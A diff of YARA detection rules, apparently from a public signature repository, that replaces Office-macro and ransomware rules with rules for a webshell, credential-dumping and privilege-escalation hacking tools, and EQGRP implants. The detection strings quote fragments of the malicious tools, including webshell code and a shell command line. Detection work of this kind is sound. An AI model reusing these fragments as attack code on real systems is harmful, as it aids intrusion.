+		$x2 = "mmpath = Environ(appdataPath) & \"\\\" & \"Microsoft\" & \"\\\" & \"mm.accdb\"" fullword ascii
+		$x3 = "Dim mmpath As String, newmmpath  As String, appdataPath As String" fullword ascii
+		$x4 = "'MsgBox \"myMutex Created\" Do noting" fullword ascii
+		$x5 = "appdataPath = \"app\" & \"DatA\"" fullword ascii
+		$x6 = ".DoCmd.Close , , acSaveYes" fullword ascii
 
 	condition:
-		uint16(0)==0xcfd0 and ($e1 in (0..3000) or $e2 in (0..3000) or $e3 in (0..3000) or $e4 in (0..3000) or 2 of them )
+		filesize <7KB and 1 of them
 }
-rule SIGNATURE_BASE_SUSP_Worddoc_VBA_Macro_Strings : FILE
+rule SIGNATURE_BASE_APT_Webshell_AUS_5 : FILE
 {
 	meta:
-		description = "Detects suspicious strings in Word Doc that indcate malicious use of VBA macros"
+		description = "Detetcs a webshell involved in the Australian Parliament House network compromise"
 		author = "Florian Roth (Nextron Systems)"
-		id = "210baf6e-ec67-5bc4-ba27-6a6de0c11a73"
-		date = "2019-02-12"
+		id = "59b3f6aa-2d3b-54b4-b543-57bd9d981e87"
+		date = "2019-02-18"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_office_dropper.yar#L42-L63"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "441e4a8e90d6045d0ad6a959ce56e834960c48083343add8e4f519f4b83bc82d"
-		score = 60
+		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_aus_parl_compromise.yar#L92-L111"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "fb0e53e5561f7f14f2ad6afcda2798d353cf4d54d12ae3354b03d62ed0c00bf3"
+		score = 75
 		quality = 85
 		tags = "FILE"
-		hash1 = "525ba2c8d35f6972ac8fcec8081ae35f6fe8119500be20a4113900fe57d6a0de"
+		hash1 = "54a17fb257db2d09d61af510753fd5aa00537638a81d0a8762a5645b4ef977e4"
 
 	strings:
-		$a1 = "\\Microsoft Shared\\" ascii
-		$a2 = "\\VBA\\" ascii
-		$a3 = "Microsoft Office Word" fullword ascii
-		$a4 = "PROJECTwm" fullword wide
-		$s1 = "AppData" fullword ascii
-		$s2 = "Document_Open" fullword ascii
-		$s3 = "Project1" fullword ascii
-		$s4 = "CreateObject" fullword ascii
+		$a1 = "function DEC(d){return System.Text.Encoding.UTF8.GetString(Convert.FromBase64String(d));}" fullword ascii
+		$a2 = "function ENC(d){return Convert.ToBase64String(System.Text.Encoding.UTF8.GetBytes(d));}" fullword ascii
+		$s1 = "var hash=DEC(Request.Item['" ascii
+		$s2 = "Response.Write(ENC(SET_ASS_SUCCESS));" fullword ascii
+		$s3 = "hashtable[hash] = assCode;" fullword ascii
+		$s4 = "Response.Write(ss);" fullword ascii
+		$s5 = "var hashtable = Application[CachePtr];" fullword ascii
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <800KB and all of them
+		uint16(0)==0x7566 and filesize <2KB and 4 of them
 }
-rule SIGNATURE_BASE_SUSP_Officedoc_VBA_Base64Decode : FILE
+rule SIGNATURE_BASE_HKTL_Lazycat_Logeraser
 {
 	meta:
-		description = "Detects suspicious VBA code with Base64 decode functions"
+		description = "Detetcs a tool used in the Australian Parliament House network compromise"
 		author = "Florian Roth (Nextron Systems)"
-		id = "99690116-fc89-53d7-8f29-575d75d53fc9"
-		date = "2019-06-21"
+		id = "a3d74657-a389-5482-ab26-966e790afd50"
+		date = "2019-02-18"
 		modified = "2023-12-05"
-		reference = "https://github.com/cpaton/Scripting/blob/master/VBA/Base64.bas"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_office_dropper.yar#L65-L80"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "1fb094c9991f93e9d1003832dc11a58efa8281e9fe844e61e27dfd077f55ad39"
-		score = 70
-		quality = 85
-		tags = "FILE"
-		hash1 = "52262bb315fa55b7441a04966e176b0e26b7071376797e35c80aa60696b6d6fc"
+		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_aus_parl_compromise.yar#L113-L135"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "2b4b69dd675172b9b0c08fac674b6daa107535694b4073750501627fb48d12c2"
+		score = 75
+		quality = 35
+		tags = ""
+		hash1 = "1c113dce265e4d744245a7c55dadc80199ae972a9e0ecbd0c5ced57067cf755b"
+		hash2 = "510375f8142b3651df67d42c3eff8d2d880987c0e057fc75a5583f36de34bf0e"
 
 	strings:
-		$s1 = "B64_CHAR_DICT" ascii
-		$s2 = "Base64Decode" ascii
-		$s3 = "Base64Encode" ascii
+		$x1 = "LazyCat.dll" ascii wide fullword
+		$x2 = ".local_privilege_escalation.rotten_potato" ascii wide
+		$x3 = "LazyCat.Extension" ascii wide
+		$x4 = " MEOWof" ascii wide
+		$x5 = "VirtualSite: {0}, Address: {1:X16}, Name: {2}, Handle: {3:X16}, LogPath: {4}" fullword wide
+		$s1 = "LazyCat" fullword ascii wide
+		$s2 = "$e3ff37f2-85d7-4b24-a385-7eeb1f5a9562"
+		$s3 = "local -> remote {0} bytes"
+		$s4 = "remote -> local {0} bytes"
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <60KB and 2 of them
+		3 of them
 }
-rule SIGNATURE_BASE_SUSP_VBA_Filesystem_Access : FILE
+rule SIGNATURE_BASE_HKTL_Powerkatz_Feb19_1
 {
 	meta:
-		description = "Detects suspicious VBA that writes to disk and is activated on document open"
+		description = "Detetcs a tool used in the Australian Parliament House network compromise"
 		author = "Florian Roth (Nextron Systems)"
-		id = "91241b91-ca3f-5817-bf78-550fe015b467"
-		date = "2019-06-21"
+		id = "294d6f6c-dbc8-5431-87a0-64abe582c4ea"
+		date = "2019-02-18"
 		modified = "2023-12-05"
-		reference = "Internal Research"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_office_dropper.yar#L82-L100"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "13d7e0708968a7700308e6216ea5d0a396f9335137ae1e33c3b34a2f54012ec6"
-		score = 60
+		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_aus_parl_compromise.yar#L137-L152"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "d1d39d68c5c5a3f6142a966925e2a136e937bc09abddd4080862346683886455"
+		score = 75
 		quality = 85
-		tags = "FILE"
-		hash1 = "52262bb315fa55b7441a04966e176b0e26b7071376797e35c80aa60696b6d6fc"
+		tags = ""
 
 	strings:
-		$s1 = "\\Common Files\\Microsoft Shared\\" wide
-		$s2 = "Scripting.FileSystemObject" ascii
-		$a1 = "Document_Open" ascii
-		$a2 = "WScript.Shell" ascii
-		$a3 = "AutoOpen" fullword ascii
+		$x1 = "Powerkatz32" ascii wide fullword
+		$x2 = "Powerkatz64" ascii wide
+		$s1 = "GetData: not found taskName" fullword ascii wide
+		$s2 = "GetRes Ex:" fullword ascii wide
 
 	condition:
-		uint16(0)==0xcfd0 and filesize <100KB and all of ($s*) and 1 of ($a*)
+		1 of ($x*) and 1 of ($s*)
 }
-rule SIGNATURE_BASE_SUSP_Excel_IQY_Remoteuri_Syntax : FILE
+rule SIGNATURE_BASE_HKTL_Unknown_Feb19_1
 {
 	meta:
-		description = "Detects files with Excel IQY RemoteURI syntax"
-		author = "Nick Carr"
-		id = "ea3427da-9cce-5ad9-9c78-e3cee802ba80"
-		date = "2018-08-17"
-		modified = "2023-11-25"
-		reference = "https://twitter.com/ItsReallyNick/status/1030330473954897920"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_office_dropper.yar#L102-L120"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "7033b0a4226dd289ecc670a0807e4159dd4486f52bc80a6b5ddd34d6961ab163"
-		score = 55
+		description = "Detetcs a tool used in the Australian Parliament House network compromise"
+		author = "Florian Roth (Nextron Systems)"
+		id = "bdcadc4b-8881-5dc7-b203-4e79cbc850ed"
+		date = "2019-02-18"
+		modified = "2023-12-05"
+		reference = "https://twitter.com/cyb3rops/status/1097423665472376832"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_aus_parl_compromise.yar#L154-L172"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "231c771ed24106a8daf352a0df1bc2db43ebd8d1108d7fa1162d03d40e738d46"
+		score = 75
 		quality = 85
-		tags = "FILE"
+		tags = ""
 
 	strings:
-		$URL = "http"
-		$fp1 = "https://go.microsoft.com"
+		$x1 = "not a valid timeout format!" ascii wide fullword
+		$x2 = "host can not be empty!" ascii wide fullword
+		$x3 = "not a valid port format!" ascii wide fullword
+		$x4 = "{0} - {1} TTL={2} time={3}" ascii wide fullword
+		$x5 = "ping count is not a correct format!" ascii wide fullword
+		$s1 = "The result is too large,program store to '{0}'.Please download it manully." fullword ascii wide
+		$s2 = "C:\\Windows\\temp\\" ascii wide
 
 	condition:
-		uint32(0)==0x0d424557 and uint32(4)==0x0a0d310a and filesize <1MB and $URL and not 1 of ($fp*)
+		1 of ($x*) or 2 of them
 }
-rule SIGNATURE_BASE_SUSP_Macro_Sheet_Obfuscated_Char : FILE
+rule SIGNATURE_BASE_B374K_Back_Connect : FILE
 {
 	meta:
-		description = "Finding hidden/very-hidden macros with many CHAR functions"
-		author = "DissectMalware"
-		id = "791e9bba-3e4e-5efd-a800-a612c6f92cfb"
-		date = "2020-04-07"
+		description = "Detects privilege escalation tool"
+		author = "Florian Roth (Nextron Systems)"
+		id = "8612bda2-2576-56c0-a4ba-afbef419ab05"
+		date = "2016-08-18"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/DissectMalware/status/1247595433305800706"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_susp_office_dropper.yar#L122-L139"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "0953d1f916df570cb3d053bf4fdac196bdbd806df4b6c0a982ed9949a3676e6c"
-		score = 65
+		reference = "Internal Analysis"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_b374k_extra.yar#L8-L24"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "dd89aefb6c1add44bfe2a706cd161a16f36a649f910ace16b641a7836525aa73"
+		score = 80
 		quality = 85
 		tags = "FILE"
-		hash1 = "0e9ec7a974b87f4c16c842e648dd212f80349eecb4e636087770bc1748206c3b"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
+		hash1 = "c8e16f71f90bbaaef27ccaabb226b43762ca6f7e34d7d5585ae0eb2d36a4bae5"
 
 	strings:
-		$ole_marker = {D0 CF 11 E0 A1 B1 1A E1}
-		$s1 = "Excel" fullword ascii
-		$macro_sheet_h1 = {85 00 ?? ?? ?? ?? ?? ?? 01 01}
-		$macro_sheet_h2 = {85 00 ?? ?? ?? ?? ?? ?? 02 01}
-		$char_func = {06 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 1E 3D  00 41 6F 00}
+		$s1 = "AddAtomACreatePro" fullword ascii
+		$s2 = "shutdow" fullword ascii
+		$s3 = "/config/i386" fullword ascii
 
 	condition:
-		$ole_marker at 0 and 1 of ($macro_sheet_h*) and #char_func>10 and $s1
+		( uint16(0)==0x5a4d and filesize <10KB and all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_RANSOM_Ragna_Locker_Apr20_1 : FILE
+rule SIGNATURE_BASE_SUSP_NVIDIA_LAPSUS_Leak_Compromised_Cert_Mar22_1 : FILE
 {
 	meta:
-		description = "Detects Ragna Locker Ransomware"
+		description = "Detects a binary signed with the leaked NVIDIA certifcate and compiled after March 1st 2022"
 		author = "Florian Roth (Nextron Systems)"
-		id = "67164cb4-73b7-5c4e-88f9-42379b88c641"
-		date = "2020-04-27"
-		modified = "2023-12-05"
-		reference = "https://otx.alienvault.com/indicator/file/c2bd70495630ed8279de0713a010e5e55f3da29323b59ef71401b12942ba52f6"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ransom_ragna_locker.yar#L3-L36"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "05a18818f22c836c3e1f1fa9682d787bbe86e6d3bb026a80a7d4c33ad95c2cd3"
-		score = 75
+		id = "8bc7460f-a1c4-5157-8c2d-34d3a6c9c7e9"
+		date = "2022-03-03"
+		modified = "2022-03-04"
+		reference = "https://twitter.com/cyb3rops/status/1499514240008437762"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/gen_nvidia_leaked_cert.yar#L4-L22"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "e7e9e58ec1e3922471ad3ffd4ad9fbb3ac4b3c3841c35d1cd8886607f3cf1ab9"
+		score = 70
 		quality = 85
 		tags = "FILE"
-		hash1 = "c2bd70495630ed8279de0713a010e5e55f3da29323b59ef71401b12942ba52f6"
-
-	strings:
-		$x1 = "---RAGNAR SECRET---" ascii
-		$xc1 = { 0D 0A 25 73 0D 0A 0D 0A 25 73 0D 0A 25 73 0D 0A
-               25 73 0D 0A 0D 0A 25 73 0D 0A 00 00 2E 00 72 00
-               61 00 67 00 6E 00 61 00 72 00 5F }
-		$xc2 = { 00 2D 00 66 00 6F 00 72 00 63 00 65 00 00 00 00
-               00 57 00 69 00 6E 00 53 00 74 00 61 00 30 00 5C
-               00 44 00 65 00 66 00 61 00 75 00 6C 00 74 00 00
-               00 5C 00 6E 00 6F 00 74 00 65 00 70 00 61 00 64
-               00 2E 00 65 00 78 00 65 00 }
-		$s1 = "bootfont.bin" wide fullword
-		$sc2 = { 00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 00
-               00 57 00 69 00 6E 00 64 00 6F 00 77 00 73 00 2E
-               00 6F 00 6C 00 64 00 00 00 54 00 6F 00 72 00 20
-               00 62 00 72 00 6F 00 77 00 73 00 65 00 72 00 }
-		$op1 = { c7 85 58 ff ff ff 55 00 6b 00 c7 85 5c ff ff ff }
-		$op2 = { 50 c7 85 7a ff ff ff 5c }
-		$op3 = { 8b 75 08 8a 84 0d 20 ff ff ff ff 45 08 32 06 8b }
 
 	condition:
-		uint16(0)==0x5a4d and filesize <200KB and 1 of ($x*) or 4 of them
+		uint16(0)==0x5a4d and filesize <100MB and pe.timestamp>1646092800 and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].issuer contains "VeriSign Class 3 Code Signing 2010 CA" and (pe.signatures[i].serial=="43:bb:43:7d:60:98:66:28:6d:d8:39:e1:d0:03:09:f5" or pe.signatures[i].serial=="14:78:1b:c8:62:e8:dc:50:3a:55:93:46:f5:dc:c5:18"))
 }
 import "pe"
 
-rule SIGNATURE_BASE_MAL_Ransom_Ragnarlocker_July_2020_1 : FILE
+rule SIGNATURE_BASE_EQGRP_Noclient_3_0_5 : FILE
 {
 	meta:
-		description = "Detects Ragnarlocker by strings (July 2020)"
-		author = "Arkbird_SOLG"
-		id = "60e09057-d9f8-5e89-8f47-c5dda32806c6"
-		date = "2020-07-30"
+		description = "Detects tool from EQGRP toolset - file noclient-3.0.5.3"
+		author = "Florian Roth (Nextron Systems)"
+		id = "af7472ce-0605-5f50-8180-23438d2196b8"
+		date = "2016-08-15"
 		modified = "2023-12-05"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1288797666688851969"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/crime_ransom_ragna_locker.yar#L38-L70"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "dc44da2f9023e0702afa8081e85ba817ebfde15f449261fae9de729d51262b04"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L12-L29"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "51a6bf03c8d034942bf02fae2bea52436f53b4d437006b1dbe9c0c67387fe17a"
 		score = 75
-		quality = 83
-		tags = "FILE"
-		hash1 = "04c9cc0d1577d5ee54a4e2d4dd12f17011d13703cdd0e6efd46718d14fd9aa87"
-
-	strings:
-		$f1 = "bootfont.bin" fullword wide
-		$f2 = "bootmgr.efi" fullword wide
-		$f3 = "bootsect.bak" fullword wide
-		$r1 = "$!.txt" fullword wide
-		$r2 = "---BEGIN KEY R_R---" fullword ascii
-		$r3 = "!$R4GN4R_" wide
-		$r4 = "RAGNRPW" fullword ascii
-		$r5 = "---END KEY R_R---" fullword ascii
-		$a1 = "+RhRR!-uD8'O&Wjq1_P#Rw<9Oy?n^qSP6N{BngxNK!:TG*}\\|W]o?/]H*8z;26X0" fullword ascii
-		$a2 = "\\\\.\\PHYSICALDRIVE%d" fullword wide
-		$a3 = "WinSta0\\Default" fullword wide
-		$a4 = "%s-%s-%s-%s-%s" fullword wide
-		$a5 = "SOFTWARE\\Microsoft\\Cryptography" fullword wide
-		$c1 = "-backup" fullword wide
-		$c2 = "-force" fullword wide
-		$c3 = "-vmback" fullword wide
-		$c4 = "-list" fullword wide
-		$s1 = ".ragn@r_" wide
-		$s2 = "\\notepad.exe" wide
-		$s3 = "Opera Software" fullword wide
-		$s4 = "Tor browser" fullword wide
-
-	condition:
-		uint16(0)==0x5a4d and filesize <30KB and (pe.imphash()=="2c2aab89a4cba444cf2729e2ed61ed4f" and ((2 of ($f*)) and (3 of ($r*)) and (4 of ($a*)) and (2 of ($c*)) and (2 of ($s*))))
-}
-rule SIGNATURE_BASE_SUSP_Autocad_Lsp_Malware : FILE
-{
-	meta:
-		description = "Recognizes malicious autocad files written in LISP"
-		author = "John Lambert @JohnLaTwC"
-		id = "3a4ac6e1-d7ea-5b9a-a386-9f881fad073b"
-		date = "2019-02-04"
-		modified = "2023-12-05"
-		reference = "http://cadablog.blogspot.com/2012/06/acadmedrea-malware-autocad-based-virus.html"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/gen_autocad_lsp_malware.yar#L1-L52"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "4a5fe7016e27431407435541ab71ab00e6fd53418e2ebc19f8764c98728b89a6"
-		score = 65
-		quality = 52
+		quality = 85
 		tags = "FILE"
-		hash1 = "1313398e2f39fcf17225c7e915b92bd74292d427163112d70b82f271359b84d5"
-		hash2 = "2382e6908e6b44c0676c537cb8caa239c8938cb01e62a45c7247d40ab7dbf0ad"
-		hash3 = "23cf3e7f41a755a45e396e5caa3e753e64655b91fe665808f71aa68718670dc8"
-		hash4 = "23f018135afc4890e1e09bef9386e45e2236fc43550383b7888cddbdefbcd950"
-		hash5 = "4a8da078a02fc49b7f13cd19d10519b1bf31ed0ab04268f018ad4733918e28ff"
-		hash6 = "4cca7b530213ef71b2e69a5b11178b61044f93dc60f4e8e568ddb3bb06749ba2"
-		hash7 = "5390271899e1ebf884380f5da7d26dff527d13922d3b3f8a3b5ec9152b9dfa40"
-		hash8 = "53ef3029f36a3a2b912a722d64eef04f599f6f683c6dcb31a122ab1c98f38700"
-		hash9 = "7f7d78931370fa693cbfa50aadecc09b4ab93917dcde3a653bd67fa6dc274cdc"
-		hash10 = "8147cc97b6203c7eccfbd10457eb52527f74180ebae79bf3cb9c9edb582e708c"
-		hash11 = "8a3113ceb45725539e4ccef5ea1482c29b2bbe0ce7ede72f59f9949a0e04c5cd"
-		hash12 = "a0c77993f84ca8fb3096579088326bc907b003327f5885660ea5ba47e2cbc6de"
-		hash13 = "a20ac5e0bfa2ee3cb4092907420c23d1f94a1ed1b59cc3d351e5602d7206178c"
-		hash14 = "b201969ed7bf782d01011211b48bfccb9dd41a3a5a7456cdff2167f1e4d1b954"
-		hash15 = "b2bac49288329a777e7aa7001e9383eec75719c08f2aa8c278b44fabeb74844f"
-		hash16 = "b772dce92319bb48df39db6ab701761bd7645a771fd7f394510d5951695e7e96"
-		hash17 = "c116cc4db6f77c580c1c4f8acda537ed04e597739bc83011773dbeb77adf93e3"
-		hash18 = "ca1b9026b5d69c0981ca088330180d4865602fc2b514fd838664d3e11eab4468"
-		hash19 = "d7a814d677f9f9dd9666dc4f4bb9cca88fa90bdb074e87006e8810eef9a0fb32"
-		hash20 = "e4acfb69006b8aecf5801e36e2c69ccfeea2e8cbad4ceda9228d2dae2c8fd023"
-		hash21 = "f9d6b894ca907145464058a4e2c78de84bf592609b46f3573bfd9e0029e1c778"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s1 = /\(chr\s+\d+\)\s*\(chr\s+\d+\)\s*\(chr\s+\d+\)\s*\(chr\s+\d+\)/
-		$s2 = /vl\-list\-\>string\s+\'\(\d+\s+\d+\s+\d+\s+\d+\s+\d+\s+/
-		$m1 = "strcat" nocase fullword
-		$m2 = "write-line" nocase fullword
-		$m3 = "open" nocase fullword
-		$m4 = /acad\w*\.lsp\"/ nocase fullword
-		$n1 = "vl-registry-write" nocase fullword
-		$n2 = "NOHIDDEN" nocase fullword
-		$n3 = "vlax-create-object " nocase fullword
+		$x1 = "-C %s 127.0.0.1\" scripme -F -t JACKPOPIN4 '&" fullword ascii
+		$x2 = "Command too long!  What the HELL are you trying to do to me?!?!  Try one smaller than %d bozo." fullword ascii
+		$x3 = "sh -c \"ping -c 2 %s; grep %s /proc/net/arp >/tmp/gx \"" fullword ascii
+		$x4 = "Error from ourtn, did not find keys=target in tn.spayed" fullword ascii
+		$x5 = "ourtn -d -D %s -W 127.0.0.1:%d  -i %s -p %d %s %s" fullword ascii
 
 	condition:
-		filesize <1MB and uint8(0)==0x28 and (1 of ($s*) or all of ($m*) or all of ($n*))
+		( uint16(0)==0x457f and filesize <700KB and 1 of them ) or ( all of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_TA17_318A_Rc4_Stack_Key_Fallchill : FILE
+rule SIGNATURE_BASE_EQGRP_Installdate : FILE
 {
 	meta:
-		description = "HiddenCobra FallChill - rc4_stack_key"
-		author = "US CERT"
-		id = "0a2afcab-f540-592f-aa75-64c0a13d26f3"
-		date = "2017-11-15"
+		description = "Detects tool from EQGRP toolset - file installdate.pl"
+		author = "Florian Roth (Nextron Systems)"
+		id = "029b1213-1206-5b7c-bd72-93239a23fe8a"
+		date = "2016-08-15"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_318A.yar#L10-L21"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "f284cb492ff5242d7bf577580fd95723ef7d3f109c7217a26bbefbbff7150255"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L31-L50"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "363a9c92c4d2560ba6dd0ec41acf136dff4346f20d54f971d319ed2aa531fe31"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$stack_key = { 0d 06 09 2a ?? ?? ?? ?? 86 48 86 f7 ?? ?? ?? ?? 0d 01 01 01 ?? ?? ?? ?? 05 00 03 82 41 8b c9 41 8b d1 49 8b 40 08 48 ff c2 88 4c 02 ff ff c1 81 f9 00 01 00 00 7c eb }
+		$x1 = "#Provide hex or EP log as command-line argument or as input" fullword ascii
+		$x2 = "print \"Gimme hex: \";" fullword ascii
+		$x3 = "if ($line =~ /Reg_Dword:  (\\d\\d:\\d\\d:\\d\\d.\\d+ \\d+ - )?(\\S*)/) {" fullword ascii
+		$s1 = "if ($_ =~ /InstallDate/) {" fullword ascii
+		$s2 = "if (not($cmdInput)) {" fullword ascii
+		$s3 = "print \"$hex in decimal=$dec\\n\\n\";" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and $stack_key
+		filesize <2KB and (1 of ($x*) or 3 of them )
 }
 import "pe"
 
-rule SIGNATURE_BASE_TA17_318A_Success_Fail_Codes_Fallchill : FILE
+rule SIGNATURE_BASE_EQGRP_Teflondoor : FILE
 {
 	meta:
-		description = "HiddenCobra FallChill - success_fail_codes"
-		author = "US CERT"
-		id = "f2390b03-238e-5ae6-af85-e5dd5790362f"
-		date = "2017-11-15"
+		description = "Detects tool from EQGRP toolset - file teflondoor.exe"
+		author = "Florian Roth (Nextron Systems)"
+		id = "188f9ef1-5524-50be-ac62-91cb9726b155"
+		date = "2016-08-15"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318B"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_318A.yar#L23-L37"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
-		logic_hash = "73f6b36554d83f7708e9468602e529c4865269d362ebeebf6b355ccf7c2a8686"
+		reference = "Research"
+		source_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/yara/apt_eqgrp.yar#L52-L73"
+		license_url = "https://github.com/Neo23x0/signature-base/blob/c3fb6b179826dfb6bd146f4fa64fa9d7f84bc358/LICENSE"
+		logic_hash = "38be3cfa638509d539bf4ada3b5c7e44e01ee4cfb74a53a76cd2f4287c5a56f5"
 		score = 75
 		quality = 85
 		tags = "FILE"
+		license = "Detection Rule License 1.1 https://github.com/Neo23x0/signature-base/blob/master/LICENSE"
 
 	strings:
-		$s0 = { 68 7a 34 12 00 }
-		$s1 = { ba 7a 34 12 00 }
-		$f0 = { 68 5c 34 12 00 }
-		$f1 = { ba 5c 34 12 00 }
+		$x1 = "%s: abort.  Code is %d.  Message is '%s'" fullword ascii
+		$x2 = "%s: %li b (%li%%)" fullword ascii
+		$s1 = "no winsock" fullword ascii
+		$s2 = "%s: %s file '%s'" fullword ascii
+		$s3 = "peer: connect" fullword ascii
+		$s4 = "read: write" fullword ascii
+		$s5 = "%s: done!" fullword ascii
+		$s6 = "%s: %li b" fullword ascii
 
 	condition:
-		( uint16(0)==0x5A4D and uint16( uint32(0x3c))==0x4550) and (($s0 and $f0) or ($s1 and $f1))
+		uint16(0)==0x5a4d and filesize <30KB and 1 of ($x*) and 3 of them
 }
 import "pe"
 
-rule SIGNATURE_BASE_Hiddencobra_Fallchill_1 : FILE
+rule SIGNATURE_BASE_EQGRP_Durablenapkin_Solaris_2_0_1 : FILE
 {
 	meta:
-		description = "Auto-generated rule"
+		description = "Detects tool from EQGRP toolset - file durablenapkin.solaris.2.0.1.1"
 		author = "Florian Roth (Nextron Systems)"
-		id = "5bbeb5ba-93d7-5903-9132-749afe5776ae"
-		date = "2017-11-15"
+		id = "7b49a26d-9ee3-5aff-93fc-509239daef28"
+		date = "2016-08-15"
 		modified = "2023-12-05"
-		reference = "https://www.us-cert.gov/ncas/alerts/TA17-318A"
-		source_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/yara/apt_ta17_318A.yar#L51-L77"
-		license_url = "https://github.com/Neo23x0/signature-base/blob/99cc905c67522a1dea4e97cb15b13ff578118d6f/LICENSE"
